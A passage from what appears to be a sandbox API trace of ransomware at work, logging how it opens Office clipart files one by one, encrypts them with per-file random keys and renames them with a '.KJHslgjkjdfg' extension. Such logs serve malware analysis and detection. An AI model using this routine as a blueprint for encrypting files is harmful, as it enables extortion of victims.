lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0193.148] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0193.148] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0193.148] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.148] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x7c44, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x7c44, lpOverlapped=0x0) returned 1 [0193.149] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x7c50, dwBufLen=0x7c50 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x7c50) returned 1 [0193.150] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.150] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x7c50, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x7c50, lpOverlapped=0x0) returned 1 [0193.150] CryptDestroyKey (hKey=0x9b6628) returned 1 [0193.150] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x7d24, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.150] SetEndOfFile (hFile=0x130) returned 1 [0193.153] GetProcessHeap () returned 0x990000 [0193.153] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0193.153] GetProcessHeap () returned 0x990000 [0193.153] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0193.153] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105520.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105520.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105520.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105520.wmf.kjhslgjkjdfg")) returned 1 [0193.154] CloseHandle (hObject=0x130) returned 1 [0193.154] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e68d90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x43b4, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0105526.WMF", cAlternateFileName="")) returned 1 [0193.154] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105526.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105526.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0193.155] GetProcessHeap () returned 0x990000 [0193.155] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0193.155] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0193.155] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0193.155] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xc, lpOverlapped=0x0) returned 1 [0193.158] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0193.158] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0193.158] GetProcessHeap () returned 0x990000 [0193.158] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0193.158] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0193.158] CryptDestroyKey (hKey=0x9b6628) returned 1 [0193.158] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0193.158] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0193.158] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0193.158] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0193.158] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0193.158] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0193.159] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0193.159] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0193.159] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.159] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x43b4, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x43b4, lpOverlapped=0x0) returned 1 [0193.160] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x43c0, dwBufLen=0x43c0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x43c0) returned 1 [0193.160] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.160] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x43c0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x43c0, lpOverlapped=0x0) returned 1 [0193.160] CryptDestroyKey (hKey=0x9b6628) returned 1 [0193.160] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x4494, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.160] SetEndOfFile (hFile=0x130) returned 1 [0193.163] GetProcessHeap () returned 0x990000 [0193.163] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0193.163] GetProcessHeap () returned 0x990000 [0193.164] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0193.164] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105526.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105526.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105526.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105526.wmf.kjhslgjkjdfg")) returned 1 [0193.164] CloseHandle (hObject=0x130) returned 1 [0193.164] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e68d90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1cd8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0105530.WMF", cAlternateFileName="")) returned 1 [0193.165] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105530.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105530.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0193.165] GetProcessHeap () returned 0x990000 [0193.165] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0193.165] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0193.165] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0193.165] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0193.168] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0193.168] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0193.168] GetProcessHeap () returned 0x990000 [0193.168] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0193.168] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0193.168] CryptDestroyKey (hKey=0x9b6628) returned 1 [0193.168] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0193.168] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0193.168] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0193.168] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0193.168] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0193.168] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0193.169] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0193.169] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0193.169] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.169] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x1cd8, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x1cd8, lpOverlapped=0x0) returned 1 [0193.170] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1ce0, dwBufLen=0x1ce0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1ce0) returned 1 [0193.170] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.170] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x1ce0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x1ce0, lpOverlapped=0x0) returned 1 [0193.170] CryptDestroyKey (hKey=0x9b6628) returned 1 [0193.170] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1db4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.170] SetEndOfFile (hFile=0x130) returned 1 [0193.173] GetProcessHeap () returned 0x990000 [0193.173] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0193.173] GetProcessHeap () returned 0x990000 [0193.173] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0193.173] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105530.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105530.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105530.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105530.wmf.kjhslgjkjdfg")) returned 1 [0193.174] CloseHandle (hObject=0x130) returned 1 [0193.174] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56347c90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x542c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0105588.WMF", cAlternateFileName="")) returned 1 [0193.174] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105588.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105588.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0193.175] GetProcessHeap () returned 0x990000 [0193.175] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0193.175] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0193.175] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0193.175] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0193.180] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0193.180] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0193.180] GetProcessHeap () returned 0x990000 [0193.180] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0193.180] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0193.181] CryptDestroyKey (hKey=0x9b6628) returned 1 [0193.181] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0193.181] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0193.181] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0193.181] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0193.181] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0193.181] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0193.181] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0193.181] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0193.181] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.181] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x542c, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x542c, lpOverlapped=0x0) returned 1 [0193.183] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x5430, dwBufLen=0x5430 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x5430) returned 1 [0193.183] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.183] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x5430, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x5430, lpOverlapped=0x0) returned 1 [0193.183] CryptDestroyKey (hKey=0x9b6628) returned 1 [0193.183] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x5504, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.183] SetEndOfFile (hFile=0x130) returned 1 [0193.186] GetProcessHeap () returned 0x990000 [0193.186] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0193.187] GetProcessHeap () returned 0x990000 [0193.187] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0193.187] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105588.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105588.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105588.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105588.wmf.kjhslgjkjdfg")) returned 1 [0193.188] CloseHandle (hObject=0x130) returned 1 [0193.188] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e8eef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x21e8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0105600.WMF", cAlternateFileName="")) returned 1 [0193.188] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105600.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105600.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0193.190] GetProcessHeap () returned 0x990000 [0193.190] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0193.190] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0193.190] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0193.190] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0193.193] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0193.193] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0193.193] GetProcessHeap () returned 0x990000 [0193.193] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0193.193] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0193.193] CryptDestroyKey (hKey=0x9b6628) returned 1 [0193.193] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0193.193] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0193.193] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0193.194] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0193.194] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0193.194] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0193.194] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0193.194] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0193.194] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.194] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x21e8, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x21e8, lpOverlapped=0x0) returned 1 [0193.195] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x21f0, dwBufLen=0x21f0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x21f0) returned 1 [0193.195] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.195] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x21f0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x21f0, lpOverlapped=0x0) returned 1 [0193.196] CryptDestroyKey (hKey=0x9b6628) returned 1 [0193.196] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x22c4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: 